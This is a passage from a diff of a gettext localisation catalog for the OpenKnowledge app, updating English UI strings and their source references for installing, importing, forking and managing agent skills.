+msgstr "Couldn't install from {0}: {1}"
+
#. placeholder {0}: result.error
#: src/components/skill-actions.tsx
msgid "Couldn't install skill: {0}"
msgstr "Couldn't install skill: {0}"
+#. placeholder {0}: result.error
+#: src/hooks/use-explore-preview-install.ts
+msgid "Couldn't install: {0}"
+msgstr "Couldn't install: {0}"
+
#: src/components/ViewerStatusPane.tsx
msgid "Couldn't load {fileName}"
msgstr "Couldn't load {fileName}"
@@ -2677,10 +2964,6 @@ msgstr "Couldn't load docs — type @ again to retry"
msgid "Couldn't load document"
msgstr "Couldn't load document"
-#: src/components/SkillsSidebarSection.tsx
-msgid "Couldn't load files"
-msgstr "Couldn't load files"
-
#: src/components/PackCardGrid.tsx
msgid "Couldn't load starter packs: {error}"
msgstr "Couldn't load starter packs: {error}"
@@ -2689,16 +2972,16 @@ msgstr "Couldn't load starter packs: {error}"
msgid "Couldn't load templates"
msgstr "Couldn't load templates"
-#: src/components/SkillsSidebarSection.tsx
-msgid "Couldn't load this skill's files."
-msgstr "Couldn't load this skill's files."
+#: src/components/SkillForkDialog.tsx
+msgid "Couldn't load the version preview. You can still choose how to resolve it below."
+msgstr "Couldn't load the version preview. You can still choose how to resolve it below."
#: src/components/BugReportHistory.tsx
msgid "Couldn't load your bug reports."
msgstr "Couldn't load your bug reports."
#. placeholder {0}: result.error
-#: src/components/ManagedArtifactProperties.tsx
+#: src/hooks/use-move-skill-scope.ts
msgid "Couldn't move skill: {0}"
msgstr "Couldn't move skill: {0}"
@@ -2706,6 +2989,22 @@ msgstr "Couldn't move skill: {0}"
msgid "Couldn't move to Trash"
msgstr "Couldn't move to Trash"
+#: src/hooks/use-open-skill.ts
+msgid "Couldn't open \"{name}\" — it isn't in the project's skills yet."
+msgstr "Couldn't open \"{name}\" — it isn't in the project's skills yet."
+
+#. placeholder {0}: err instanceof Error ? err.message : String(err)
+#. placeholder {0}: res.error
+#: src/hooks/use-open-skill.ts
+msgid "Couldn't open \"{name}\": {0}"
+msgstr "Couldn't open \"{name}\": {0}"
+
+#. placeholder {0}: s.name
+#. placeholder {1}: r.error
+#: src/components/SkillsSidebarSection.tsx
+msgid "Couldn't open {0} for editing: {1}"
+msgstr "Couldn't open {0} for editing: {1}"
+
#: src/components/RecentProjectsMenu.tsx
msgid "Couldn't open a worktree for that branch."
msgstr "Couldn't open a worktree for that branch."
@@ -2785,15 +3084,10 @@ msgstr "Couldn't remove that comment from the queue."
#. placeholder {0}: skill.name
#. placeholder {1}: result.error
-#: src/components/SkillRenameDialog.tsx
+#: src/components/ManagedArtifactProperties.tsx
msgid "Couldn't rename \"{0}\": {1}"
msgstr "Couldn't rename \"{0}\": {1}"
-#. placeholder {0}: result.error
-#: src/components/ManagedArtifactProperties.tsx
-msgid "Couldn't rename skill: {0}"
-msgstr "Couldn't rename skill: {0}"
-
#. placeholder {0}: result.error
#: src/components/ManagedArtifactProperties.tsx
msgid "Couldn't rename template: {0}"
@@ -2811,6 +3105,11 @@ msgstr "Couldn't resolve that comment."
msgid "Couldn't resolve the conflict for {filePath}."
msgstr "Couldn't resolve the conflict for {filePath}."
+#. placeholder {0}: result.error
+#: src/components/SkillForkDialog.tsx
+msgid "Couldn't resolve the fork: {0}"
+msgstr "Couldn't resolve the fork: {0}"
+
#: src/lib/restart-collab-server.ts
msgid "Couldn't restart the server — another process owns it. Quit other OpenKnowledge windows for this project, then try again."
msgstr "Couldn't restart the server — another process owns it. Quit other OpenKnowledge windows for this project, then try again."
@@ -2844,6 +3143,11 @@ msgstr "Couldn't save template: {error}"
msgid "Couldn't save that edit."
msgstr "Couldn't save that edit."
+#. placeholder {0}: result.error
+#: src/hooks/use-skill-origin.ts
+msgid "Couldn't save the auto-update setting: {0}"
+msgstr "Couldn't save the auto-update setting: {0}"
+
#: src/components/settings/SearchSection.tsx
msgid "Couldn't save the key — please try again."
msgstr "Couldn't save the key — please try again."
@@ -2888,20 +3192,10 @@ msgstr "Couldn't start the agent thread — please try again."
msgid "Couldn't start the sync. Check your connection, then retry."
msgstr "Couldn't start the sync. Check your connection, then retry."
-#. placeholder {0}: result.error
-#: src/components/skill-actions.tsx
-msgid "Couldn't uninstall skill: {0}"
-msgstr "Couldn't uninstall skill: {0}"
-
-#. placeholder {0}: err instanceof Error ? err.message : String(err)
-#: src/components/settings/SkillTargetsPicker.tsx
-msgid "Couldn't update skill targets: {0}"
-msgstr "Couldn't update skill targets: {0}"
-
-#. placeholder {0}: result.error
-#: src/components/SkillUpdateDialog.tsx
-msgid "Couldn't update skill: {0}"
-msgstr "Couldn't update skill: {0}"
+#. placeholder {0}: r.error
+#: src/components/SkillInstallMenu.tsx
+msgid "Couldn't update {subRoot}: {0}"
+msgstr "Couldn't update {subRoot}: {0}"
#: src/components/settings/SharingSection.tsx
msgid "Couldn't update skills sharing"
@@ -2926,7 +3220,9 @@ msgstr "Crash dump"
#: src/components/CreateProjectDialog.tsx
#: src/components/empty-state/CreatePromptComposer.tsx
#: src/components/NewItemDialog.tsx
+#: src/components/NewSkillDialog.tsx
#: src/components/settings/LintingSection.tsx
+#: src/components/SkillFileCreateDialog.tsx
#: src/components/TemplateRow.tsx
msgid "Create"
msgstr "Create"
@@ -2965,6 +3261,18 @@ msgstr "Create a new OpenKnowledge project in the folder of your choice."
msgid "Create a new spec file for my user story"
msgstr "Create a new spec file for my user story"
+#: src/components/NewSkillDialog.tsx
+msgid "Create a personal skill, available across every project."
+msgstr "Create a personal skill, available across every project."
+
+#: src/components/NewSkillDialog.tsx
+msgid "Create a skill for this project."
+msgstr "Create a skill for this project."
+
+#: src/components/SkillsBasePage.tsx
+msgid "Create a skill."
+msgstr "Create a skill."
+
#: src/components/AuthModal.tsx
msgid "Create a token on {host}"
msgstr "Create a token on {host}"
@@ -3001,10 +3309,6 @@ msgstr "Create page"
msgid "Create report"
msgstr "Create report"
-#: src/components/NewSkillDialog.tsx
-msgid "Create skill"
-msgstr "Create skill"
-
#: src/components/empty-state/empty-state-copy.ts
msgid "Create something great."
msgstr "Create something great."
@@ -3045,6 +3349,11 @@ msgstr "Create your first file"
msgid "Create your first project"
msgstr "Create your first project"
+#. placeholder {0}: result.path
+#: src/components/SkillFileCreateDialog.tsx
+msgid "Created {0}"
+msgstr "Created {0}"
+
#: src/components/ProblemsPanel.tsx
msgid "Created {target}"
msgstr "Created {target}"
@@ -3057,11 +3366,16 @@ msgstr "created folder"
msgid "created template"
msgstr "created template"
+#: src/components/SkillFileCreateDialog.tsx
+msgid "Creates the <0>{folderPart}/</0> folder"
+msgstr "Creates the <0>{folderPart}/</0> folder"
+
#: src/components/CreateProjectDialog.tsx
#: src/components/NewItemDialog.tsx
#: src/components/NewSkillDialog.tsx
#: src/components/NewTemplateDialog.tsx
#: src/components/ProblemsPanel.tsx
+#: src/components/SkillFileCreateDialog.tsx
msgid "Creating"
msgstr "Creating"
@@ -3119,6 +3433,10 @@ msgstr "Cut"
msgid "Dark"
msgstr "Dark"
+#: src/components/ExploreSkills.tsx
+msgid "Data"
+msgstr "Data"
+
#: src/components/PropertyWidgets.tsx
msgid "Date"
msgstr "Date"
@@ -3246,6 +3564,14 @@ msgstr "Deny"
msgid "Describe the project you want to create"
msgstr "Describe the project you want to create"
+#: src/components/empty-state/CreatePromptComposer.tsx
+msgid "Describe the skill you want to create"
+msgstr "Describe the skill you want to create"
+
+#: src/components/SkillsBasePage.tsx
+msgid "Describe what it should do, or add one yourself. OpenKnowledge keeps your skills in one place, versions them, and installs them into agents like Claude, Codex, and Cursor."
+msgstr "Describe what it should do, or add one yourself. OpenKnowledge keeps your skills in one place, versions them, and installs them into agents like Claude, Codex, and Cursor."
+
#: src/components/empty-state/empty-state-copy.ts
msgid "Describe what you want to build, start a blank file, or scaffold from a template."
msgstr "Describe what you want to build, start a blank file, or scaffold from a template."
@@ -3258,6 +3584,7 @@ msgstr "Describe what you want to create to continue"
msgid "Describe what you're working on and the agent sets it up for you."
msgstr "Describe what you're working on and the agent sets it up for you."
+#: src/components/SkillBundlePreview.tsx
#: src/components/TemplateProperties.tsx
msgid "description"
msgstr "description"
@@ -3275,6 +3602,10 @@ msgstr "Description (optional)"
msgid "Description for {field}"
msgstr "Description for {field}"
+#: src/components/ExploreSkills.tsx
+msgid "Design"
+msgstr "Design"
+
#: src/components/empty-state/CreatePromptComposer.tsx
#: src/components/handoff/AgentSplitButton.tsx
#: src/components/handoff/OpenInAgentContextSubmenu.tsx
@@ -3300,9 +3631,10 @@ msgstr "Details"
msgid "Details about the error you just hit are included. Secrets like API keys and tokens are redacted automatically."
msgstr "Details about the error you just hit are included. Secrets like API keys and tokens are redacted automatically."
-#: src/components/settings/SkillTargetsPicker.tsx
-msgid "Detected from the editors this project is set up for. Adjust to control where every skill installs."
-msgstr "Detected from the editors this project is set up for. Adjust to control where every skill installs."
+#. placeholder {0}: d.sourceHarnesses.map((h) => skillHostRootDir(h, scope)).join(', ')
+#: src/components/SkillsSidebarSection.tsx
+msgid "Detected in {0}"
+msgstr "Detected in {0}"
#: src/components/settings/AiToolsSection.tsx
msgid "Detected on this machine"
@@ -3325,6 +3657,10 @@ msgstr "Dev instance: {label}"
msgid "Dev instance: {label} (isolated from other worktrees)"
msgstr "Dev instance: {label} (isolated from other worktrees)"
+#: src/components/ExploreSkills.tsx
+msgid "DevOps"
+msgstr "DevOps"
+
#: src/components/MermaidFileViewer.tsx
msgid "Diagram"
msgstr "Diagram"
@@ -3347,6 +3683,10 @@ msgstr "Diff render mode"
msgid "Diff unavailable"
msgstr "Diff unavailable"
+#: src/components/SkillInstallMenu.tsx
+msgid "Different version here — click to compare and resolve"
+msgstr "Different version here — click to compare and resolve"
+
#. placeholder {0}: plugin.label
#. placeholder {0}: rule.name
#: src/components/settings/LintingSection.tsx
@@ -3374,6 +3714,10 @@ msgstr "Disable Themes"
msgid "Disambiguates similarly-named templates in the menu."
msgstr "Disambiguates similarly-named templates in the menu."
+#: src/components/SkillOriginInline.tsx
+msgid "Discard local edits, restore the installed version"
+msgstr "Discard local edits, restore the installed version"
+
#: src/comments/CommentSelectionAffordance.tsx
msgid "Discard this comment"
msgstr "Discard this comment"
@@ -3419,6 +3763,7 @@ msgstr "Dock sessions at the bottom"
msgid "Dock sessions on the right"
msgstr "Dock sessions on the right"
+#: src/components/ExploreSkills.tsx
#: src/components/HelpPopover.tsx
msgid "Docs"
msgstr "Docs"
@@ -3528,11 +3873,6 @@ msgstr "Downloading {0} {1}…"
msgid "Downloads a fresh copy from GitHub."
msgstr "Downloads a fresh copy from GitHub."
-#: src/components/SkillEditorActions.tsx
-#: src/components/SkillStateBadge.tsx
-msgid "Draft"
-msgstr "Draft"
-
#: src/components/empty-state/use-create-suggestions.ts
msgid "Draft a spec"
msgstr "Draft a spec"
@@ -3616,7 +3956,7 @@ msgstr "Each selected tool gets an OpenKnowledge MCP entry."
#: src/components/AppMenubar.tsx
#: src/components/settings/LintingSection.tsx
-#: src/components/skill-actions.tsx
+#: src/components/SkillsSidebarSection.tsx
#: src/components/TemplateForm.tsx
#: src/components/TemplateRow.tsx
#: src/editor/extensions/InternalLinkPropPanel.tsx
@@ -3633,6 +3973,10 @@ msgstr "Edit {0} source"
msgid "Edit {keyName}"
msgstr "Edit {keyName}"
+#: src/components/SkillPreviewTab.tsx
+msgid "Edit a copy"
+msgstr "Edit a copy"
+
#: src/components/settings/rule-option-field.tsx
msgid "Edit in config file"
msgstr "Edit in config file"
@@ -3677,6 +4021,10 @@ msgstr "Edited"
msgid "Edited {editedAgo}"
msgstr "Edited {editedAgo}"
+#: src/components/SkillOriginInline.tsx
+msgid "Edited locally since it was installed"
+msgstr "Edited locally since it was installed"
+
#: src/components/FolderTimelineCard.tsx
msgid "edited template"
msgstr "edited template"
@@ -3685,6 +4033,10 @@ msgstr "edited template"
msgid "editing [[{realCurrentDoc}]]"
msgstr "editing [[{realCurrentDoc}]]"
+#: src/components/SkillEditBanner.tsx
+msgid "Editing {boldName} in place. Changes save straight to your editor's copy."
+msgstr "Editing {boldName} in place. Changes save straight to your editor's copy."
+
#: src/editor/extensions/RawMdxFallbackCMView.tsx
msgid "Editing broken MDX source: {reason}"
msgstr "Editing broken MDX source: {reason}"
@@ -3705,10 +4057,6 @@ msgstr "Editor selection"
msgid "Editor status bar"
msgstr "Editor status bar"
-#: src/components/settings/SkillTargetsPicker.tsx
-msgid "Editors to install skills into"
-msgstr "Editors to install skills into"
-
#: src/components/settings/CustomThemeEditor.tsx
msgid "Edits apply live. Light or dark is chosen from the background."
msgstr "Edits apply live. Light or dark is chosen from the background."
@@ -3777,6 +4125,7 @@ msgid "empty"
msgstr "empty"
#: src/components/PropertyWidgets.tsx
+#: src/components/SkillBundlePreview.tsx
msgid "Empty"
msgstr "Empty"
@@ -3980,9 +4329,14 @@ msgid "Explain how your codebase works so teammates and AI agents can find their
msgstr "Explain how your codebase works so teammates and AI agents can find their way around. Good for documenting the architecture, the main parts, and the questions new contributors always ask."
#: src/components/GraphPanel.tsx
+#: src/components/ImportSkillDialog.tsx
msgid "Explore"
msgstr "Explore"
+#: src/components/SkillsSidebarSection.tsx
+msgid "Explore skills"
+msgstr "Explore skills"
+
#: src/editor/extensions/InternalLinkPropPanel.tsx
msgid "External link"
msgstr "External link"
@@ -4157,13 +4511,8 @@ msgstr "Failed to load recent projects."
#. placeholder {0}: state.message
#: src/components/settings/SkillTargetsPicker.tsx
-msgid "Failed to load skill targets: {0}"
-msgstr "Failed to load skill targets: {0}"
-
-#. placeholder {0}: state.message
-#: src/components/settings/SkillsManagerSection.tsx
-msgid "Failed to load skills: {0}"
-msgstr "Failed to load skills: {0}"
+msgid "Failed to load skill settings: {0}"
+msgstr "Failed to load skill settings: {0}"
#: src/components/CommandPalette.tsx
msgid "Failed to load tags. Press <0>Esc</0> and re-open to retry."
@@ -4400,6 +4749,7 @@ msgid "Filename"
msgstr "Filename"
#: src/components/FileSidebar.tsx
+#: src/components/FilesSkillsToggle.tsx
msgid "Files"
msgstr "Files"
@@ -4415,6 +4765,7 @@ msgstr "Files toolbar"
msgid "Filter languages"
msgstr "Filter languages"
+#: src/components/ProseFindBar.tsx
#: src/editor/find-replace/FindReplaceBar.tsx
#: src/lib/keyboard-shortcuts.ts
msgid "Find"
@@ -4428,6 +4779,10 @@ msgstr "Find and replace"
msgid "Find field navigation"
msgstr "Find field navigation"
+#: src/components/ProseFindBar.tsx
+msgid "Find in file"
+msgstr "Find in file"
+
#: src/lib/keyboard-shortcuts.ts
msgid "Find next match"
msgstr "Find next match"
@@ -4500,6 +4855,7 @@ msgstr "Fold, unfold, fold all, or unfold all source ranges."
msgid "folder"
msgstr "folder"
+#: src/components/ImportSkillForm.tsx
#: src/components/settings/AttachmentsSection.tsx
#: src/components/share-metadata-rows.tsx
#: src/editor/composer-mention/ComposerMentionMenu.tsx
@@ -4531,6 +4887,7 @@ msgstr "Folder target: {linkTitle}. Click to open the overview."
#: src/components/settings/AiToolsSection.tsx
#: src/components/settings/ProjectAiToolsSection.tsx
+#: src/components/settings/SkillTargetsPicker.tsx
msgid "Folders"
msgstr "Folders"
@@ -4607,14 +4964,28 @@ msgstr "Forward-links response did not match expected shape."
msgid "Found {countDisplay} markdown files"
msgstr "Found {countDisplay} markdown files"
+#. placeholder {0}: discovered[0].name
+#: src/components/ImportSkillForm.tsx
+msgid "Found one skill: {0}"
+msgstr "Found one skill: {0}"
+
#: src/components/ShareReceiveDialog.tsx
msgid "Found the repo but could not open the project. Please try again."
msgstr "Found the repo but could not open the project. Please try again."
+#: src/hooks/use-skill-origin.ts
+msgid "From {harnessLabel}"
+msgstr "From {harnessLabel}"
+
#: src/components/empty-state/CreateView.tsx
msgid "From template"
msgstr "From template"
+#. placeholder {0}: pluginMatch[1]
+#: src/hooks/use-skill-origin.ts
+msgid "From the {0} plugin"
+msgstr "From the {0} plugin"
+
#: src/components/TemplateForm.tsx
msgid "Frontmatter every document created from this template starts with. Values are YAML — a list is <0>[a, b]</0>; <1>{{date}}</1> fills in on create."
msgstr "Frontmatter every document created from this template starts with. Values are YAML — a list is <0>[a, b]</0>; <1>{{date}}</1> fills in on create."
@@ -4669,6 +5040,10 @@ msgstr "Get product updates in your inbox."
msgid "Get set up"
msgstr "Get set up"
+#: src/components/ExploreSkills.tsx
+msgid "Git & PRs"
+msgstr "Git & PRs"
+
#: src/components/ShareFreshnessWarning.tsx
msgid "Git can't track this folder — it's empty or contains only ignored files. The link won't work until you add a tracked document."
msgstr "Git can't track this folder — it's empty or contains only ignored files. The link won't work until you add a tracked document."
@@ -4702,6 +5077,10 @@ msgstr "GitHub authentication failed. Try signing in again."
msgid "GitHub sign-in is missing or expired. Reconnect to resume syncing."
msgstr "GitHub sign-in is missing or expired. Reconnect to resume syncing."
+#: src/components/ImportSkillForm.tsx
+msgid "GitHub, a git URL, or a local path."
+msgstr "GitHub, a git URL, or a local path."
+
#: src/components/settings/AiToolsSection.tsx
msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."
msgstr "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."
@@ -4723,10 +5102,6 @@ msgstr "Global"
msgid "Global outside text fields"
msgstr "Global outside text fields"
-#: src/lib/skill-scope.ts
-msgid "Global Skill"
-msgstr "Global Skill"
-
#: src/components/DocumentErrorBoundary.tsx
#: src/components/LargeFileEditorState.tsx
msgid "Go back"
@@ -4964,6 +5339,10 @@ msgstr "Home page and entry point."
msgid "Home page and navigation hub."
msgstr "Home page and navigation hub."
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "hooks"
+msgstr "hooks"
+
#: src/editor/slash-command/component-items.tsx
msgid "Horizontal pill strip + active panel below; click a pill to switch panels."
msgstr "Horizontal pill strip + active panel below; click a pill to switch panels."
@@ -5052,7 +5431,7 @@ msgstr "Ignore patterns"
msgid "Ignore patterns (raw text)"
msgstr "Ignore patterns (raw text)"
-#: src/components/SkillsSidebarSection.tsx
+#: src/components/ImportSkillForm.tsx
msgid "Import"
msgstr "Import"
@@ -5060,6 +5439,30 @@ msgstr "Import"
msgid "Import as template"
msgstr "Import as template"
+#. placeholder {0}: result.error
+#: src/components/ImportSkillForm.tsx
+msgid "Import failed: {0}"
+msgstr "Import failed: {0}"
+
+#. placeholder {0}: result.name
+#: src/lib/skill-import-toast.ts
+msgid "Imported \"{0}\"."
+msgstr "Imported \"{0}\"."
+
+#: src/hooks/use-skill-origin.ts
+msgid "Imported {importedLabel}"
+msgstr "Imported {importedLabel}"
+
+#. placeholder {0}: result.name
+#. placeholder {1}: result.collisionRenamedFrom
+#: src/lib/skill-import-toast.ts
+msgid "Imported as \"{0}\" — the name \"{1}\" was taken."
+msgstr "Imported as \"{0}\" — the name \"{1}\" was taken."
+
+#: src/components/ImportSkillForm.tsx
+msgid "Importing"
+msgstr "Importing"
+
#: src/components/SeedDialog.tsx
msgid "In a subfolder"
msgstr "In a subfolder"
@@ -5214,14 +5617,25 @@ msgstr "Insert, delete, move, copy, and indent source editor lines through CodeM
#: src/components/InstallInClaudeDesktopDialog.tsx
#: src/components/settings/IntegrationsSection.tsx
#: src/components/skill-actions.tsx
-#: src/components/SkillRow.tsx
+#: src/components/SkillPreviewTab.tsx
+#: src/components/SkillsSidebarSection.tsx
msgid "Install"
msgstr "Install"
+#. placeholder {0}: skill.name
+#: src/components/SkillsSidebarSection.tsx
+msgid "Install {0}"
+msgstr "Install {0}"
+
#: src/components/handoff/OpenInAgentMenuItem.tsx
msgid "Install {brand} →"
msgstr "Install {brand} →"
+#. placeholder {0}: res.error
+#: src/hooks/use-explore-preview-install.ts
+msgid "Install failed: {0}"
+msgstr "Install failed: {0}"
+
#. Dialog title — installing the OpenKnowledge skill into the Claude Desktop App
#: src/components/InstallInClaudeDesktopDialog.tsx
msgid "Install for Claude Chat & Cowork"
@@ -5231,6 +5645,14 @@ msgstr "Install for Claude Chat & Cowork"
msgid "Install for Claude Chat & Cowork (Desktop App)"
msgstr "Install for Claude Chat & Cowork (Desktop App)"
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Install from {plugin}"
+msgstr "Install from {plugin}"
+
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Install from {source}"
+msgstr "Install from {source}"
+
#: src/components/InstallInClaudeDesktopDialog.tsx
msgid "Install handoff failed: {msg}"
msgstr "Install handoff failed: {msg}"
@@ -5239,17 +5661,29 @@ msgstr "Install handoff failed: {msg}"
msgid "Install in Claude Desktop"
msgstr "Install in Claude Desktop"
-#: src/components/SkillEditorActions.tsx
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Install into"
+msgstr "Install into"
+
+#: src/components/ImportSkillForm.tsx
+msgid "Install it to your other editors (Claude Code, Cursor, Codex) to share it."
+msgstr "Install it to your other editors (Claude Code, Cursor, Codex) to share it."
+
+#: src/components/SkillInstallMenu.tsx
msgid "Install on"
msgstr "Install on"
-#: src/components/SkillEditorActions.tsx
-msgid "Install on all"
-msgstr "Install on all"
+#: src/components/SkillInstallMenu.tsx
+msgid "Install on all agents"
+msgstr "Install on all agents"
-#: src/components/settings/SkillTargetsPicker.tsx
-msgid "Install skills into"
-msgstr "Install skills into"
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Install selected"
+msgstr "Install selected"
+
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "Install skills"
+msgstr "Install skills"
#: src/components/AuthModal.tsx
msgid "Install the gh CLI"
@@ -5258,8 +5692,6 @@ msgstr "Install the gh CLI"
#: src/components/settings/AiToolsSection.tsx
#: src/components/settings/ProjectAiToolsSection.tsx
#: src/components/SkillEditorActions.tsx
-#: src/components/SkillRow.tsx
-#: src/components/SkillStateBadge.tsx
msgid "Installed"
msgstr "Installed"
@@ -5279,11 +5711,40 @@ msgstr "Installed \"{0}\" into {1}"
msgid "Installed {0} {1}"
msgstr "Installed {0} {1}"
-#: src/components/SkillRow.tsx
-msgid "Installed into"
-msgstr "Installed into"
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Installed {imported} skills ({alreadyImported} were already present)"
+msgstr "Installed {imported} skills ({alreadyImported} were already present)"
+
+#. placeholder {0}: plugin ?? source
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Installed {imported} skills from {0}"
+msgstr "Installed {imported} skills from {0}"
+
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Installed {imported}, but {failed} failed: {failedNames}"
+msgstr "Installed {imported}, but {failed} failed: {failedNames}"
+
+#. placeholder {0}: r.display
+#: src/components/SkillInstallMenu.tsx
+msgid "Installed at {0} — click to remove"
+msgstr "Installed at {0} — click to remove"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Installed at {path} — click to remove"
+msgstr "Installed at {path} — click to remove"
+
+#. placeholder {0}: hosts.map((h) => skillHostRootDir(h, skill.scope)).join(', ')
+#: src/components/SkillsSidebarSection.tsx
+msgid "Installed in {0}"
+msgstr "Installed in {0}"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Installed in {label} — click to remove"
+msgstr "Installed in {label} — click to remove"
#: src/components/InstallInClaudeDesktopDialog.tsx
+#: src/components/SkillPluginBundleDialog.tsx
+#: src/components/SkillPreviewTab.tsx
msgid "Installing"
msgstr "Installing"
@@ -5291,6 +5752,10 @@ msgstr "Installing"
msgid "Installing {agentName}…"
msgstr "Installing {agentName}…"
+#: src/components/SkillDirectoryResult.tsx
+msgid "installs:"
+msgstr "installs:"
+
#: src/components/handoff/OpenInAgentMenu.tsx
msgid "Instruction for the AI"
msgstr "Instruction for the AI"
@@ -5370,6 +5835,10 @@ msgstr "just now"
msgid "Keep a written record of how your product gets built. A home for proposing ideas, recording decisions, writing specs, and capturing what you learned after something broke."
msgstr "Keep a written record of how your product gets built. A home for proposing ideas, recording decisions, writing specs, and capturing what you learned after something broke."
+#: src/components/SkillForkDialog.tsx
+msgid "Keep both"
+msgstr "Keep both"
+
#: src/components/AutoSyncOnboardingDialog.tsx
msgid "Keep disabled"
msgstr "Keep disabled"
@@ -5378,6 +5847,10 @@ msgstr "Keep disabled"
msgid "Keep file deleted"
msgstr "Keep file deleted"
+#: src/components/SkillUpdateConflictDialog.tsx
+msgid "Keep mine"
+msgstr "Keep mine"
+
#: src/components/DiffViewBoundary.tsx
msgid "Keep my version"
msgstr "Keep my version"
@@ -5386,6 +5859,14 @@ msgstr "Keep my version"
msgid "Keep original file"
msgstr "Keep original file"
+#: src/components/SkillForkDialog.tsx
+msgid "Keep source"
+msgstr "Keep source"
+
+#: src/components/SkillRenameDialog.tsx
+msgid "Keep the name to 64 characters or fewer."
+msgstr "Keep the name to 64 characters or fewer."
+
#: src/components/settings/SyncSection.tsx
msgid "Keep this project in sync with your git remote. Follow fetches updates without pushing; full sync pushes your commits too. Turning sync on requires confirmation."
msgstr "Keep this project in sync with your git remote. Follow fetches updates without pushing; full sync pushes your commits too. Turning sync on requires confirmation."
@@ -5394,6 +5875,11 @@ msgstr "Keep this project in sync with your git remote. Follow fetches updates w
msgid "Keep track of the people and companies you work with and the meetings you have with them. Good for remembering who someone is, how you know them, and what you last talked about."
msgstr "Keep track of the people and companies you work with and the meetings you have with them. Good for remembering who someone is, how you know them, and what you last talked about."
+#. placeholder {0}: toName.trim()
+#: src/components/SkillForkDialog.tsx
+msgid "Kept both — \"{0}\" is its own skill now"
+msgstr "Kept both — \"{0}\" is its own skill now"
+
#: src/components/settings/SearchSection.tsx
msgid "Key ending in {keyHint}"
msgstr "Key ending in {keyHint}"
@@ -5450,7 +5936,10 @@ msgstr "Let Tab leave the source editor instead of indenting."
msgid "Let us follow up by email"
msgstr "Let us follow up by email"
-#: src/components/SkillProperties.tsx
+#: src/components/SkillLevelSelect.tsx
+#: src/components/SkillPluginBundleDialog.tsx
+#: src/components/SkillPreviewTab.tsx
+#: src/components/SkillToolbarControls.tsx
msgid "Level"
msgstr "Level"
@@ -5524,8 +6013,11 @@ msgstr "List"
msgid "Lists"
msgstr "Lists"
+#: src/lib/skill-scope.ts
+msgid "Lives in this project (wherever the skill's folder is) and is shared with collaborators through git."
+msgstr "Lives in this project (wherever the skill's folder is) and is shared with collaborators through git."
+
#: src/components/emoji-picker.tsx
-#: src/components/SkillsSidebarSection.tsx
#: src/editor/components/TagDialog.tsx
#: src/editor/extensions/InternalLinkPropPanel.tsx
#: src/editor/extensions/WikiLinkPropPanel.tsx
@@ -5546,6 +6038,10 @@ msgstr "Loading agent activity"
msgid "Loading agents…"
msgstr "Loading agents…"
+#: src/components/SkillForkDialog.tsx
+msgid "Loading both versions"
+msgstr "Loading both versions"
+
#: src/components/ShareBranchSwitchDialog.tsx
msgid "Loading branch state"
msgstr "Loading branch state"
@@ -5608,6 +6104,10 @@ msgstr "Loading paths…"
msgid "Loading PDF"
msgstr "Loading PDF"
+#: src/components/SkillsBasePage.tsx
+msgid "Loading popular skills"
+msgstr "Loading popular skills"
+
#: src/components/SeedDialog.tsx
msgid "Loading preview"
msgstr "Loading preview"
@@ -5620,6 +6120,10 @@ msgstr "Loading repositories"
msgid "Loading settings"
msgstr "Loading settings"
+#: src/components/SkillsSidebarSection.tsx
+msgid "Loading skills"
+msgstr "Loading skills"
+
#: src/components/PackCardGrid.tsx
msgid "Loading starter packs"
msgstr "Loading starter packs"
@@ -5696,31 +6200,30 @@ msgstr "Looking for <0>{lookingForUrl}</0>."
msgid "Lost connection to \"{docName}\"."
msgstr "Lost connection to \"{docName}\"."
+#: src/components/SkillInstallMenu.tsx
+msgid "make source"
+msgstr "make source"
+
#: src/components/settings/IntegrationsSection.tsx
msgid "Make this knowledge base available as a Claude Skill."
msgstr "Make this knowledge base available as a Claude Skill."
+#: src/components/SkillInstallMenu.tsx
+msgid "Make this the source — the skill's real folder moves here"
+msgstr "Make this the source — the skill's real folder moves here"
+
#: src/components/FileTree.tsx
msgid "Manage hidden files in Settings → Ignore patterns."
msgstr "Manage hidden files in Settings → Ignore patterns."
+#: src/components/SkillInstallMenu.tsx
+msgid "Manage skill folders"
+msgstr "Manage skill folders"
+
#: src/components/settings/AccountSection.tsx
msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."
msgstr "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."
-#: src/components/SkillRow.tsx
-msgid "Managed"
-msgstr "Managed"
-
-#: src/components/skill-actions.tsx
-#: src/components/SkillRow.tsx
-msgid "Managed by OpenKnowledge"
-msgstr "Managed by OpenKnowledge"
-
-#: src/components/SkillsSidebarSection.tsx
-msgid "Managed by OpenKnowledge (read-only)"
-msgstr "Managed by OpenKnowledge (read-only)"
-
#: src/components/settings/AiToolsSection.tsx
msgid "Managing AI tools is unavailable in this build."
msgstr "Managing AI tools is unavailable in this build."
@@ -5770,6 +6273,10 @@ msgstr "Maximum agents already running"
msgid "MCP connections"
msgstr "MCP connections"
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "MCP servers"
+msgstr "MCP servers"
+
#: src/editor/slash-command/items.tsx
msgid "Medium section heading."
msgstr "Medium section heading."
@@ -5846,6 +6353,7 @@ msgstr "Model: <0>{0}</0>"
#: src/components/FolderOverview.tsx
#: src/components/settings/markdownlint-rule-browser.tsx
+#: src/components/SkillOriginInline.tsx
msgid "Modified"
msgstr "Modified"
@@ -5869,11 +6377,23 @@ msgstr "More refusal options"
msgid "More requests were blocked."
msgstr "More requests were blocked."
+#: src/components/SkillToolbarControls.tsx
+msgid "More skill actions"
+msgstr "More skill actions"
+
#. placeholder {0}: blocked.length
#: src/editor/components/PreviewBlockedNotice.tsx
msgid "More than {0} requests were blocked by the preview's security policy"
msgstr "More than {0} requests were blocked by the preview's security policy"
+#: src/components/ExploreSkills.tsx
+msgid "Most installed"
+msgstr "Most installed"
+
+#: src/components/SkillScopeMoveDialog.tsx
+msgid "Move"
